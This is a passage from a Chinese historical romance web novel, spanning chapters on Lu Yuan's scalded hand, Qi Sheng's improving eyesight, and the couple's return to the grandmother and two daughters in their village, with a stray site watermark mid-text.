陆鸢有些茫然,但似乎感觉到了他的急切,也伸手环抱住了他,轻拍了拍他的后背。 但牵扯到手上的烫伤,她没忍住倒抽了一口气。 祁晟闻声,连忙松开了她,急切地问:“怎么了?” 陆鸢把左手露了出来。 祁晟视物不够清晰,但也看到了她左手虎口的位置红了一大片。 他拿起她的手,问:“油烫伤的?” 陆鸢点头,语调委屈:“那人撞了我之后,连一句抱歉的话都没有,还怪我挡了她的路,没等我反应过来,人就跑远了。” 说到后头,语声有种想哭的腔调:“我那个锅子和那一锅油都毁了,好歹能值个几十文钱呢。” 祁晟一时语塞:“你都被烫伤了,还记挂着那些杂物做什么?” 陆鸢心疼道:“那不然呢?我这心比我手还疼……不是,是一样疼,手好疼。” 她忍不住疼,眼睛都冒出了泪泡。 祁晟听着她的腔调,心头涩得发紧。 他把伞捡起来,递给她:“你撑着伞,我来把这些东西搬回去,回家再立刻给你上药。” 家里还有她用来护发的紫草油膏,正好可以用来治烫伤。 再者她全身湿透了,若不再快些回去换衣裳,很容易就会染上风寒。 第60章 陆鸢给自己和祁晟打着伞, 二人并肩在滂沱大雨下,疾步归家。 回到家中,祁晟放下桌子和背篓,站在屋外的屋檐下, 与她说:“你先去把衣服换了, 我去生火烧些水。” 冷得发抖陆鸢“嗯”了一声, 就先行回了屋。 阖上房门后脱下衣物,拿着干爽的布巾擦了头发和身上的水渍后, 才穿上衣裳。 外边,祁晟把头上半湿的僕帽从头上拿下, 扔到平日洗衣的盆中, 再绞了淌水的裤脚后,便进厨房生火烧水。 火生了起来, 转头看出院子外, 视线从雨幕穿过, 落在屋子的房门上。 略微模糊的视野中, 见房门打开, 他也随之站起,拿着雨伞从院子走了过去。 陆鸢擦着头发从屋子出来, 与他说:“你也进去把衣服换了吧。” 祁晟进去换了衣服和鞋子,开门把外头的陆鸢喊了进来。 陆鸢进了屋子, 祁晟则去外头端了一盆冷水进来, 让她浸泡一会。 半刻后,祁晟才拉起了她的左手, 看了眼那红肿的地方,拿起干净的布巾放到手上的位置上,汲干水后, 才从刚打开的罐子里挖了些紫草油膏出来。 天气逐渐寒冷,紫草油膏也已经凝固。 祁晟把油膏抹到她手上时,她疼得蓦地一缩,但没能缩开,因为手腕被他拉得紧紧的。 祁晟声音温和了许多:“忍一忍,不尽早抹药,之后只会更难受。” 她被烫的地方又红又肿,要是不及时上药,肯定会冒出水疱。 陆鸢声音有些发抖:“被油烫后,我就立刻用雨水冲刷了。” 祁晟动作非常轻,把药膏缓缓抹在被烫过的手背上。 陆鸢疼得几次都下意识地想要把手抽走,但手腕都被他捏得紧紧的。 “你轻、轻点,疼。” 哪怕手上的力道也已经是最轻了,但还是应她:“嗯,我再轻点。” 祁晟为了分散她的专注,问她:“你怎么不就近找个地方避雨?” 陆鸢道:“我全身都湿透了,还那么狼狈,可不想被人指指点点,也就想着避一避。” 说着又想起了在市集的事,她恼道:“这大雨来得凶也来得急,本来市集上的人就多,我也怕他们不小心把油锅掀翻而伤到人,就想着先端到角落里,那成想一个大娘直接就撞了过来,连句道歉都没有,还怪我挡她的路,让油溅到了她的衣服上。” 得亏已经给油锅盖上了盖子,不然她就不只是烫伤手背这么简单了。 祁晟听着她的话,眉头紧皱,继而道:“以后出摊,我都陪着你。” 陆鸢连忙道:“别别别,千万别,这次就只是个意外,总不能因为这个小意外,你就把我当作那易碎的瓷娃娃。” “再说了,万一你以后有别的好前途,总不能为了我守着这一亩三分地的小摊,一辈子就这样过去了。” 祁晟是有本事的,要是运用得好这些本事,不求有大出息,好歹也能有点小出息,她也能躺平一二。 祁晟倒也有理智,没有一下子就承诺会一直陪着她,而是道:“在没人陪同你出摊的同时,我都陪着你。至于去医馆针灸的事……” 祁晟沉思了片刻,说:“明日我们去一趟医馆,问问大夫现在的情况,还需再针灸多少次。” 说话间,祁晟就已经给她抹完了药。 他松开她的手,叮嘱道:“这段时日,这只手别碰水。” 说着,又道:“你在屋子里坐着,我去弄些热水。” 陆鸢点了点头,心疼地看着自己被烫得红肿的手,也有些发愁。 手都伤了,得养多少天才能继续出摊? 祁晟回了厨房,舀了一盆热水后,便切了一些姜片到锅里,复而熬煮了一会,才舀起两碗。 他端起一碗,撑着伞回了屋子。 “喝点姜汤驱寒,一会我再给你沐发。” 陆鸢端过姜汤,问他:“你的呢?” 祁晟道:“我的还在厨房,一会再喝。” 陆鸢点了点头。 祁晟返回厨房就喝了姜汤,大雨已经由急转缓,也小了许多。 他把水端回屋中,让陆鸢躺下,他给他沐发。 陆鸢抬着手躺到竹床上。 祁晟挽起她的头发,用热水帕子沾湿。 陆鸢不知想到了什么,忽然反应了过来,睁眼看着上方的祁晟,诧异道:“不对呀,我怎么觉得你方才给我上药,还有去生火烧水,都好像没什么阻碍……” “你是不是看得更清楚了?” 祁晟轻点了点头:“嗯,能看得更清楚了。” 陆鸢顿时露出了好奇之色,眨巴着眼睛,问他:“那你能看到我现在长什么样了吗?” 在陆鸢的记忆里,苏丽娘原本的底子长得就不差,只不过是嫁人后太过操劳,再加上逃荒,不仅瘦得皮包骨,也被烈日晒得皮肤黑沉。 她虽许久未照过镜子了,但这段时日不仅能吃饱,还吃上肉了,原本凹陷进去的双颊都已经胀肉了。 自从来了城里后,也很少晒太阳了,应该也没先前那么黑了。 祁晟的目光从她微红的双唇缓缓往上移动,鼻尖,鼻梁,最后才与那一双眼睛对上。 朦胧的双眸,好像是覆着一池秋水,柔和漂亮。 陆鸢与他对视着,气氛有些怪,她视线微微躲闪,轻咳两声后,继续问:“怎么样,不难看吧?” 祁晟笑了笑:“不丑,很漂亮。” 陆鸢闻言,便转回视线给了他一记白眼。 “你这话就显假了。” 祁晟定定望着她的双眸,道:“眼睛很漂亮。” 陆鸢抬起手,抚了一下自己的眼角,语声诧异:“你还能看清我的眼睛长什么样?” 祁晟:“虽然眼前还是像覆有一层薄雾,但也是能看得出来的。” 陆鸢听明白了。 他现在看见的她,是带着滤镜的。 都说近视的人看人,皮肤都是好的,像是有一层滤镜,看来祁晟也有。 祁晟手法生疏地给她沐发后,细细用帕子擦拭。 头发擦得半干后,陆鸢坐了起来,抬着烫伤的手,与他说:“你既然能看得更清楚了,那就能帮我包油条和打豆乳了。” “今天下了这么大的雨,而且油也得重新熬,今晚肯定是不能出摊的,歇两天后,咱们再继续出摊。” 祁晟点了点头,说:“你在旁边指点,我来做。” 陆鸢郁闷的心情也散了许多,脸上的表情也轻松了。 祁晟问她:“不生气了?” 陆鸢看得开,说:“反正那一锅油,我原本就打算再用两回就换了,现在正好换了,还有那个锅,我原本也打算换个口子大一些的,一次能炸多几根油条的锅。” “正好,现在都可以换新的了。” 祁晟端起水盆,说:“你倒是看得开。” 她睨了他一眼,说:“我不是一直都看得这么开吗?” 祁晟从躺在榻上,还昏迷不醒时,他就知道她性子乐观洒脱。 所以他才会觉得前后差别大。 不过,那又怎样? 他在意的时下她,而不是过去的她。 这一场雨,淅淅沥沥下到中午才停。 雨停后,祁晟便出去打水。 陆鸢小憩一会后,从屋子出来时,就看到祁晟在洗衣。 有他的,也有她的。 他给他洗衣没什么,就是这之前贴身衣物都是她自己洗的,现在盆里也有她的贴身衣物。 哪怕她脸皮再厚,现在也有点儿难为情。 两人都没说话,也没有眼神对视。 正是如此,但却也有种刻意的尴尬气氛,在两人的周围慢慢地蔓延开来。 祁晟面上似乎没有什么表情,可耳廓的绯红却是出卖了他。 祁晟自七八岁之后,身边亲近的妇人,只有他的祖母。但就是再怎么无知,也大概知道这寻常女子的贴身衣物,定然不像她穿的这样省料子。 以前虽同住一个屋檐下,她也没有遮掩,可先前他视物模糊,未曾留意过。 现下,祁晟只觉烫手得很。 把衣服晾到了檐下,二人都没提这事。 陆鸢手上的被油烫伤了,不能碰水,但身处岭南,一日不洗澡都难受得紧,所以让祁晟在澡间搭了根绳子,再把杌子放到澡间,把水盆放在上头。 这样,她就能一边挂着左手,一边洗澡。 祁晟晓得她有多爱干净,也就没劝她,而是她让他怎么弄,他就怎么就做。 忽然对调了被照顾的角色。 照顾的人适应得快,被照顾的人适应得也极快。 夜里。 因陆鸢怕祁晟会压到她的手,她便睡在了外头,手垂落在床外。 陆鸢的手背火辣辣,一阵一阵地疼,晚间就寝,难受得根本就睡不着。 祁晟:“很难受吗?” 陆鸢“嗯”了一声:“辣疼辣疼的。” 祁晟也没缓解的法子,只得与她说话:“睡不着,那就聊一聊?” 陆鸢问:“聊什么?” 祁晟想了想,问:“春花秋花为什么起这两个名字?” 陆鸢想了想,说:“春花是春天生的,秋花是秋天生的。” 祁晟闻言,笑道:“那若是冬日生的,是不是该叫冬花?” 陆鸢琢磨了一下,应:“还真有这个可能。” 祁晟又问:“有没有想过,给她们再取一个大名?” 陆鸢微微摇了头,说:“姓可以改,但名字还是继续用着。” 这两个名字,是她们娘给起的。 在苏丽娘的心里,花儿是漂亮的,是美好的。 在她们亲生父亲都嫌弃她们俩是闺女的时候,苏丽娘可从来都没有嫌弃过。 祁晟问:“为什么?” 陆鸢笑道:“那当然是因为名字是我起的,所以不能改,春花秋花多好听,春日有桃花,秋日有菊,各有千秋的美。” 祁晟听到她脱口而出的成语,也已经习惯了。 没上过正经学堂,单单只是认字,可不会识得这么多的成语,还会用在闲聊上。 “那便不改。”想了想,他又问:“那若是我们以后又有女儿,是否也要沿用到花字?” 陆鸢应:“姐姐们都叫了,她怎……等等。” 她扭头看向黑暗中的男人:“这八字都没一撇呢,你想得未免早了些?” 祁晟:“提前谈好,以后便不会起争执。” 陆鸢冷“呵”了一声,说:“我才不与你说这些。” 祁晟:“那你想说什么?” 陆鸢:得,问题又回到了起始点。 “不说,睡觉。” 她闭上眼,尝试入睡,但依旧无法忽略手上的火辣。 熬了大半宿,祁晟也断断续续地与她说话,说着说着便睡了。 一场秋雨过后,气温骤减。 陆鸢畏冷且很晚才睡,第二日自是赖床了。 巳时末,粥都已经凉了,屋子都还没动静,祁晟心下担心就回了屋,看向在床上似裹成蚕茧的陆鸢。 他伸手探向她的额头,并未发热,才暗暗松了一口气。 陆鸢已经半睡半醒了,察觉到有人把手放到她的额头上,她才微微睁开一条眼缝。 见是祁晟,才打了个哈欠,问:“外边冷不冷?” 祁晟应:“有些冷。” “既然醒了,就起来盥洗,吃早饭。” 陆鸢一听到有些冷,就摇头:“我缓缓。” 祁晟见状,便起身,把自个的外衫拿了过来:“穿我的衣裳。” 早早就让她往衣裳里添芦花,她嘴上应着,但却也是敷衍,到现在都没塞。 如今手伤着了,便只能是他来拆线添芦花,再缝上。 陆鸢缓和了一下,掀开了被衾,被冷得一哆嗦,忙穿上他的外衫。 祁晟与她道:“我瞧瞧你的手。” 陆鸢把手抬起,递向他。 祁晟拿着她的手仔细观看了一会,才道:“还好并未起水疱,很快就能恢复。” 她的手已经稍稍消肿,也没昨日那么红胀了。 祁晟把紫草油膏又拿了出来。 陆鸢忙道:“我自己来,我自己来,你忙你的。” 虽然他也够轻,但她还是觉得别人给她上药,像是在上刑。 祁晟抬眸看了她一眼:“你惯会敷衍人的,我这会走开,说不准你怕疼,只随便涂抹。” 陆鸢瞪了眼:“我是能拿自己烫伤开玩笑的人吗?” 祁晟垂下眼挖了些许的紫草膏,并未应她,好似是默认了她的话。 陆鸢:…… 算了算了,他那么想照顾人,就让他照顾得了。 上了药后,他阖上紫草膏的盖子,说:“我去热一热粥,你先去盥洗。” 陆鸢盥洗后,便回屋喝粥。 她喝着粥,便见祁晟把她新做的衣裳拿了出来。 她问:“你做什么?” 祁晟找到她近来新买的小刀,道:“拆线添芦花。” 说着,便眯起眼,仔细看线头位置。 陆鸢默了默。 他一个近视,竟还想拆衣服的边线? 可别把她衣裳给拆坏了! 陆鸢忙把衣服抢了回来:“别别别,我另一只手还好着呢,我能拆也能缝。” 抢回来后,还小声嘀咕:“我好的衣服就两件,弄坏了咋整。” 祁晟微微蹙眉,也没怪她不早弄,而是道:“若不然花些银钱,找个大娘来帮你添,左右应当也花不了几个钱。” 陆鸢:“别了,花那冤枉钱做什么,我干活的右手还好好的,也没什么影响。” “而且今日也不用做什么,慢慢做也是成的。” 祁晟琢磨了一下,道:“若弄不好,别硬撑。” 陆鸢连连点头。 要不是自己拖延症犯了,早该做好了,若是因手伤了,而花钱让人弄,她定然能悔到晚上都睡不着觉的程度。 整个下午,陆鸢都忙着隔开自己衣裳的夹层,往里添芦花,而祁晟在旁给她缝上线。 还别说,他虽然眼睛还是不大好使,可手下的针脚比她做的还要密,还要整齐。 陆鸢见状,顺道把身上属于他的外衫也脱了下来,拆线蓄芦花,再让他自个缝上。 从围山村来城里时,何老婆子便是担心他们会冷,愣是装了一大包的芦花。 看着芦花,陆鸢也有些想何老婆子了。 也不知道家里留守的一老两小,现在过得咋样了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 围山村。 武家大朗从河里挑了一担水到何家。 何老婆子放下了针线活, 打开了水缸的盖子,道:“晟哥儿和丽娘都去了城里,多得你们兄弟俩能搭把手,又是柴又是挑水, 要不然就我这个老婆子和两个干不动活的孩子, 怎么能日日有柴有水用。” 大武应:“嫂子找我们干活, 离开的时候,也说好的, 我们来负责柴火和水。” 这一个月以来,因为帮忙干活, 挣了一些银钱, 兄弟姐妹四个也能填饱肚子了。 挣了些银钱,这个冬天也不用挨饿了。 何老婆子道:“说好只负责做豆乳和豆花的水和柴火, 可你和小武日日都来挑水, 三天两头就砍柴过来。” 大武把水都倒进了水缸里, 道:“顺手的事。” 把水倒进了水缸后, 大武问:“最近天冷了, 明天要不要少做些豆乳和豆花” 何老婆子想了想,说:“还是少做些吧, 省得浪费。” 去镇上的人少了,这豆乳豆花凉得又快, 也做不了那么多。 虽然按着孙媳的法子, 弄了桶套包着,但路途上也耽搁了一个时辰, 在市集上,若是半个时辰卖不完,也凉了。 而且村子里有人也做起了豆乳的生意, 用的水也是山泉水,所以现在都是靠卖豆花挣钱,还得分成三份,所以先前还有五六十文钱的收入,慢慢地,挣的钱也少了,最近这两趟都挣不到三十文钱了。 大武离开后,何老婆子才进了屋子,春花正在和秋花说话。 秋花她娘走的时候,就交代过了,每天都要陪着秋花说说话,不然这孩子以后说话都不利索。 何老婆子进来的时候,两个孩子都看向了她。 发现春花的眼睛红通通的,便问:“咋的了?” 相对比姐姐,秋花则平平淡淡,说:“姐姐,想娘。” 春花瘪了瘪嘴,不说话。 何老婆子看向秋花,问:“秋花不想吗?” 秋花眨了眨眼,表情虽然没什么变化,却是重重地点了点头:“想。” 何老婆子笑了笑,道:“你们的娘很快就能回来了。” 这一天天的,没了个拌嘴的人,还怪不习惯的。 听了何老婆子的话,不仅春花的眼睛一亮,就是秋花也定定地看着她。 “真的吗?”春花满是期待地追问。 何老婆子点了点头:“算算日子,再过几天就能回来了。” 春花又问:“那回来的时候,祁叔叔的眼睛是不是就能看见了?” 何老婆子默了一下,淡淡一笑:“能看得见。” 这也是何老婆子最希望的。 早间,何老婆子让大武把做好的豆花和豆乳提出了厨房。 牛车也正好在院门外等着了。 大武把豆乳和豆花放上牛车后,就离开了。 何老婆子目送牛车离开后,就转身回了厨房,开始做朝食。 做好了早饭,喊两个孩子:“别喂鸡了,快过来用朝食。” 两个孩子乖乖地走了过来。 何老婆子给她们姊妹俩都舀了半碗冒着热气的豆乳,然后给她们递过水煮鸡蛋。 姊妹俩接过鸡蛋,都往桌面上敲了敲,然后才开始剥鸡蛋。 两个孩子正剥着鸡蛋,就有个老妇人提着个篮子进来了。 “哟,吃朝食呢。” 见着两个小姑娘正在吃整个鸡蛋,脸上露出了诧异之色。 何老婆子道:“你要我留的豆乳在厨房,你跟我进来装吧。” 老妇人跟着进了厨房,瞅了眼外头的两个孩子,才嘀咕道:“你这也太糟蹋了。” 何老婆子皱眉看向她:“怎的?” 老妇人睨了眼外边,说:“人家亲生的孙女,十天半个月都不见得能吃上一个鸡蛋,你还舍得给这两个便宜孙女吃?” 何老婆子脸色一沉,道:“咋的,我自家的鸡蛋,想给谁吃就给谁吃,你还要管到我头上来了。” 老妇人见她生气了,忙道:“没的事,就是这么一说。” 何老婆子冷哼了一声:“我又不是那黑心肝的,人家娘亲是晟哥儿的福星,而且还挣钱给晟哥儿治病,我不至于连个鸡蛋都不舍得给她们吃。” 老妇人还是小声嘀咕道:“人家娘亲也不在家,给不给,哪能知道?” 瞧着那俩孩子现在的模样,不说白白胖胖,但干净整洁,不黑了,脸上也圆了一些,瞧着养得比村子里其他闺女都要好。 现在这模样,哪里还有半点刚来围山村时,黑不溜秋且皮包骨的模样? 何老婆子冷嗤道:“那是黑心肝才能干出来的事。” 被指桑骂槐黑心肝的老妇人不说话了。 装了一大汤碗的豆乳,给了两文钱后,就匆匆地走了。 何老婆子冷嗤了一声,把锅盖上后,才从屋中出来。 见秋花剥鸡蛋,剥得极慢,而且只剥了外边的壳,却是把蛋衣留着。 每回吃鸡蛋,这孩子都会把鸡蛋壳剥去,留下有蛋衣的鸡蛋,最后才会撕开来吃。 何老婆子道:“你这孩子还怪有耐心的,以后跟我学刺绣。” 春花道:“我也要学。” 何老婆子点头:“你能坐得住,也可以学。” 只要不像她娘那样坐不住就成,一双鞋子就只把鞋底纳好了,现在连鞋面都没做呢。 何老婆子想着这几天他们就要回来了,就给他们收拾收拾屋子,晒晒席子。 一收拾,就把只做了一半的鞋子找了出来。 她们娘就天生不适合做针线活。 吃完了朝食,何老婆子拿了银子,就带着两个孩子去里正家里抓老母鸡。 里正娘子让大儿媳给她逮了一只鸡,问:“这怎么忽然想要抓鸡了?” 何老婆子道:“晟哥儿和丽娘去城里这不快一个月了么,我就想着抓只老母鸡,让他们回来后好好补补。” 里正娘子算了算日子,道:“这也确实是快要回来了,奔波了一个月,也该补补了。” 说了一会话,里正娘子拿了一小把干花生分给两个小姑娘。 春花秋花看向何老婆子,在何老婆子点头后,才接过花生。 春花:“谢谢里正娘子。” 秋花也跟着姐姐说:“谢谢,娘子。” 里正娘子乐道:“这两个孩子教得可真好。” 何老婆子瞅了眼两个小姑娘,笑道:“那还不是她们的娘教得好,这姊妹俩乖巧得很,带她们也轻省。” 夜里也还能有个说话的人,倒也不会那么孤独。 里正娘子:“不仅有礼貌,模样也是越来越俊了。” 她看着两个孩子如出一辙的大眼睛,似乎想到了什么,忽然转头看向何老婆子:“俩孩子养养都能变了样子,你说你那孙媳从城里回来后,是不是也变了样子?” 何老婆子笑了笑,不甚在意道:“丽娘五官底子本来就不错,只是吃了太多苦,才熬成了那模样,变不变都无所谓,平平安安回来就成。” 去广康城前,丽娘的模样也是寻常妇人的模样了。 反正也不是她和她过一辈子,何老婆子也没那么在意漂不漂亮。 吃过中食后,何老婆子带着两个孩子去歇了晌。 半睡半醒间,似乎听到了院子外传来声响,睡得浅的何老婆子醒了。 听着声响,心道这青天白日的,总不可能是贼吧? 琢磨了一下,想着有可能是刘家三郎回来了,便放轻动作下了床,穿上鞋子,蹑手蹑脚地出了屋子。 何老婆子仔细一听,声音是从厨房传出来的,她拿起倚在屋外的扁担,一步一步,慢慢地朝厨房走去。 这还没走近呢,就看到有一个穿着杏色衣裳的妇人从厨房里走出来。 她愣了一下,惊道:“你是何人,怎么……丽娘?” 虽然第一眼没认出来有些变化的孙媳,但不过几息就给认出来了。 陆鸢见着何老婆子,笑容顿粲:“老太太,可想我了?” 何老婆子惊讶了一瞬,左右张望,寻找孙子的身影:“晟哥儿呢?” 陆鸢道:“在后头呢,我急着回来上茅房,但偏生路难行,到村口我就给跑回来了。” 她晓得她们在睡午觉,就没去打搅,上了茅房,便到厨房找水喝,没成想一出来就看到拿着扁担要打贼的老太太。 何老婆子放下的扁担,眼神期待地看向她,嘴唇颤颤地问:“晟哥儿的眼睛……治好了吗?” 陆鸢也不与老人家卖关子,径直道:“好了六成,视物没什么大问题了。” “我们跟着刘家三哥的牛车回来的,应该也差不多要到家门口了。” 他们在城里打听了许久顺道去安平镇的牛车。 正好打听到今日有回来的牛车,正好是赶集日,还能赶上刘家三郎的牛车,他们也就提前两三天回来了。 何老婆子也不在意他们是怎么回来的,她耳中只听到自己孙子的眼睛能瞧见了。 她也顾不得再问旁的了,转身就往院子外跑去。 陆鸢忙提醒:“老太太你慢些。” 提醒后,她笑了笑,然后入了屋子。 两个孩子似乎是听到了她的声音,都醒了。 姊妹俩都已经坐了起来,听到开门的声音,有些懵懵地与陆鸢对视。 陆鸢带着笑意地走到床边,轻弹了弹她们的小脑袋瓜子:“怎么,傻了?看到你们的娘,也认不出来了?” 春花张开嘴巴喊了一声“娘”就大声哭了出来,蓦地扑向了自己的娘。 陆鸢抱住了她,道:“我回来了,你不高兴吗?怎么就哭了。” 秋花虽然没哭,但也扑过来抱住了她。 陆鸢把两个孩子抱在怀中,轻轻拍着她们的后背,说:“好了好了,别哭别哭,我给你们买了好吃的回来,一会等叔回来,我就给你们分。” 陆鸢哄了好一会,外头传来了声响,她便给两个孩子穿上布鞋和厚衣,牵着她们走出院子。 祁晟正搀扶着红着眼眶的何老婆子进院子。 夫妻二人看了眼对方身边的人,眼眶都是红通通的,随之对视上视线,都很是无奈地一笑。 第62章 素日里要强的何老婆子, 望着自己已然可视物的孙子,眼泪都落了好几回了。 陆鸢道:“老太太你别哭呀,郎君都可视物了,是喜事。” 何老婆子抹了抹眼角的泪, 望着和刘家三郎一直修缮杂物间屋顶的孙子, 道:“你懂什么, 这就是高兴。” 说罢,她转头看向孙媳, 问:“你们在城里,是怎么过来的?” 陆鸢应道:“在夜市附近租了一房的小院, 夜里摆摊子卖油条豆乳, 双日白日就去摆早市。” 黏着陆鸢的春花问:“娘,油条是什么?” 陆鸢看向趴在左边腿上的春花, 说:“等过段时间, 再做给你和秋花吃。” 右边的秋花听到关键字, 说:“秋花, 要吃。” 陆鸢点了点她的鼻尖:“你这小丫头, 就对吃最敏感。” 何老婆子眼尖,一下子就看到了她手背上的皮肤略微暗红, 便问:“你这手怎了?” 陆鸢举起给何老婆子瞧,说:“先前被油烫了, 好在伤得不重, 就是过了好些天,都是有些红。” 孩子俩一听到被油烫伤了, 都扒拉着她手上的手。 春花瞧着自己娘亲红着一片的手背,眼眶顿时又红了:“娘,疼不疼?” 便是秋花也踮起脚尖, 往手背那块较为深色的皮肤吹了吹。 陆鸢看得心软软的,笑意温和:“不疼了。” 何老婆子问:“怎会被油烫到,还把半个手背都给烫了?” 陆鸢便简单的与何老婆子说了过程。 何老婆子听完了她的话后,就黑了脸:“要是我在,我非得逮着她赔钱不可,看谁比谁横。” 陆鸢:“我这不是被烫得一下子没反应过来么,要是反应过来,我非拽着她,让她赔钱。” 后来越想越气,就有一种吵架没发挥好,懊悔不已的感觉。 何老婆子叹了一口气道:“你这反应也忒慢了些。” 说着,便也拉起她的手仔细看,说:“瞧着也不会留疤,过些时候就能好,要是真留了疤,掘地三尺都要找到那妇人。” 她们说话的声音并不小,修缮屋顶的两个人自然是听到了。 祁晟望向她们四个,距离太远,瞧得有些模糊,但也能看得出来那边其乐融融。 天气冷了,暂做澡间的杂物房也没个屋顶,洗个澡都能把人冻病了,是以回来后,祁晟便让刘三郎留下帮忙把屋顶修缮好。 刘俊生正要让他把干草递上来,循着他的视线也瞅了一眼。 压低声音调侃道:“成了婚怎么样,是不是与我先前说的那样,心里被塞得满满当当的?” 祁晟把茅草递给他,说:“我先前不认同,是我觉得,三哥刚新婚燕尔。待过两三年后,估计就不是这么想的了。” 刘俊生笑道:“确实,成婚久了,与你嫂子也常有会有龃龉,可这不就是过日子嘛?我就不信你与你媳妇就没有半点口角。” 祁晟笑了笑:“我媳妇那么能干,我岂敢有意见,” 刘俊生道:“你这小子还别说,昏睡不醒竟也能让你讨到这么好的一个媳妇。” 先前大家都说,祁晟这样骄傲的人,娶了个带着孩子的丑寡妇,若是醒来了,那还不得又给气死了。 但随着苏丽娘给祁家挣钱了,祁晟也因冲喜醒来,她还挣钱给其治眼疾,且瞧着也没有一开始那么砢碜了,村子里哪个不羡慕他娶了个好媳妇的? 祁晟唇角的弧度不禁又上扬了一些。 杂物间修缮好了,刘家三郎也就提着梯子准备归家。 陆鸢连忙喊住了他,把一包糕点递给了他,说:“这是送给里正和里正娘子的红枣糕,你帮我拿给他们尝一尝,若我们拿过去,旁人会说我们巴结,说得不好听。” 毕竟也不是给自个的,刘家三郎便接了。 祁晟把他送出了院子外。 刘俊生问:“你现在眼睛也能正常视物了,可想好之后要干什么了吗?” 祁晟道:“还得去城里,或许之后会在城里找一份活计。” 刘俊生闻言,诧异道:“你们要去广康城生活?” 祁晟指了指自己的眼睛,说:“这眼睛还没彻底好,每隔一段时日就得去一趟广康城。” “每个月去一两回太过麻烦了,再者现在日子也能过得去,便打算在城里先生活一段时日。” 送走刘俊生后,祁晟才去洗了手。 何老婆子道:“正好,我今日去里正家抓了一只老母鸡,现在我就去宰了,让你们俩补补身子。” 祁晟道:“祖母你坐着吧,我去。” 何老婆子有些担忧道:“你眼睛还没好全乎,可以吗?” 陆鸢道:“不用担心他,他虽然眼睛才恢复六成,可干活还是很利索的。” 她手烫伤后,也继续出了两回摊子,活基本上都是祁晟在干,她就炸炸油条。 祁晟也点了点头,然后去鸡舍抓鸡。 打开鸡舍时,看到了险些替自己拜堂的大公鸡。 他不禁觉得好笑,还真的把这只公鸡留了下来。 大公鸡睨了他一眼,似抬头挺胸从他跟前走了过去。 祁晟:…… 老太太走了过来,说:“这也不知道咋办,就养着了。” 说着,她给孙子指了刚买回来的老母鸡。 祁晟一下便抓到了老母鸡,利落得很。 祁晟宰鸡的时候,去烧了热水的陆鸢也带着两个孩子去围观。 手起刀落,干净利落地割喉放血。 陆鸢捂住了两个孩子的眼睛。 春花道:“娘,我不怕。” 陆鸢闻言,就放下了手,秋花也拨开了她娘的手,眼定定地看着她后爹是怎么杀鸡的。 陆鸢瞧着两个孩子兴致勃勃,心说这时代的孩子还真大胆。 祁晟先前不愧是打猎一把手,这给鸡拔毛也利落得很。 何老婆子看多了这个场面,也没半点好奇,喊了声:“丽娘,你来我屋里一趟。” 陆鸢让两个孩子看着,自己就去了何老婆子的屋子里。 入了屋中,就见何老婆子从墙角捧起一个小坛子,然后放到桌面上打开,上边是一团稻草,取出稻草后,则是半坛子的铜板。 何老婆子把坛子推到了她面前,说:“这些都是你们不在家里的这段时间挣的,应该也有三四百文。” 陆鸢心算了一下,道:“这是没怎么用呀?” 何老婆子应道:“你走之前也留了一些钱,而且你还嘱咐了刘家三郎帮忙买肉,家里也有鸡蛋和菜,就只花些银钱买米。” “再说了,里正家每个月还得送五斤米过来,我一个老婆子和两个孩子,一天都吃不了一斤米,花销也不大。” 陆鸢瞧着坛子里的银钱,思索了一会,才看向何老婆子,道:“其实我和郎君过几日还得回广康城。” 何老婆子闻言,一愣:“为啥?” 陆鸢便把祁晟还有去复查的事说了。 “除了要定时去查看外,我寻思着在城里讨生活也比在围山村或是镇上好一些。” 住在围山村,去镇上都要那么长时间,这时间就浪费了。 就算去了镇上居住,三日才有一日是赶集日,且镇上人口也不多,消费水平就摆在那了,做啥生意都注定是挣不了太多的银钱的。 他们若居住在镇上,除了租赁屋子居住外,还有生活费用,这样的花销下来,小富即安都算不上,可能只能算是粗茶淡饭,但凡生病要用到多一些银钱,都拿不出来。 在城里,不管是夜市,还是早市,都能挣到钱。 何老婆子沉默了一会,问:“那之后是要留在城里讨生活?” 陆鸢看得出来老太太大概以为他们夫妻俩去城里,不带她和两个孩子。 就补充道:“我们打算这回回来,再过半个月,就把老太太和春花秋花也接到城里去。” 何老婆子听到她这么说,略一怔忪,道:“这城里花销大,镇上两个屋子的院子,都得二百文一个月呢,这城里只能更贵。” 陆鸢道:“城里双日有夜市,白日都有早市,只要能做些好吃的小食,总能挣到钱,也能在城里过活。” “郎君治眼疾花销大,也没能存下几个钱,但也足够我与郎君在城里过活了,如今郎君眼疾也不用那么多花销了,肯定能存下银钱。” 陆鸢原本以为得再过一个月,才能把老太太和孩子们接到城里,不过祁晟的恢复超过了预期。再加上这里还有几百文,他们再做半个月,应该就够再租两间屋子的宅子。 老太太听着孙媳的话,想了想,又说:“我趁着你们去城里,也做了九方帕子,你趁着这回再进城,顺道拿去卖了,得的钱也不用拿回来给我,用做你们做小买卖的本钱。” 陆鸢心道她和祁晟去城里,满打满算也没有一个月,老太太先前差不多三天才能做一方帕子,还是不停不停的做。 这九方帕子,也差不多是做了一个月。 算到这里,陆鸢脸色凝重了下来,劝道:“老太太,我晓得你不知道我和郎君的情况,心里担心花销,所以才会做这么多的帕子,现在郎君的眼疾也见好了,可不能再这么费眼了。” “你可还得帮忙看孩子呢,眼睛可不能熬坏了。” 何老婆子轻哼了一声:“敢情你这不是关心我,而是想让我帮你看孩子。” 陆鸢笑盈盈道:“我也给你看孙子了,也算是扯平。” 何老婆子听了她的话,没忍住笑了。 “你倒是好意思说出这话,我孙子还不是你丈夫了?” 陆鸢反问:“那春花秋花也是你曾孙女,不是吗?” 一个月不见,春花秋花都长肉了,还白净了许多,脚上也穿着老太太给做的布鞋。 两个孩子被养得很好。 哪怕是亲奶奶,都养不了这么好。 再说,要真是被两个孩子的亲奶奶养一个月,生死难料。 说着话,春花秋花离不得太久她们的娘亲,所以又跑进来黏着陆鸢了。 陆鸢便把秋花抱了起来,道:“走,咱们去找陈家二婶。” 她看向何老婆子,说:“先前陈二嫂托我卖菌子,我现在把钱送给她。” 何老婆子道:“你晚点再去,估计都没从地里回来呢。” 陆鸢点了头,正要出去,何老婆子提醒:“你把坛子抱回去吧。” 陆鸢也没客气,放下了秋花,把坛子抱回了屋子。 才从屋子出来,便见院子的篱笆外围了好些个孩子,从六七十到十来岁,其中就有小武和他的两个妹妹。 陆鸢把坛子放回了屋子,才从屋子出来,问他们:“你们瞧什么呢?” 小武应道:“我们听说祁晟哥回来了,眼睛也好了,我们过来瞧瞧。” 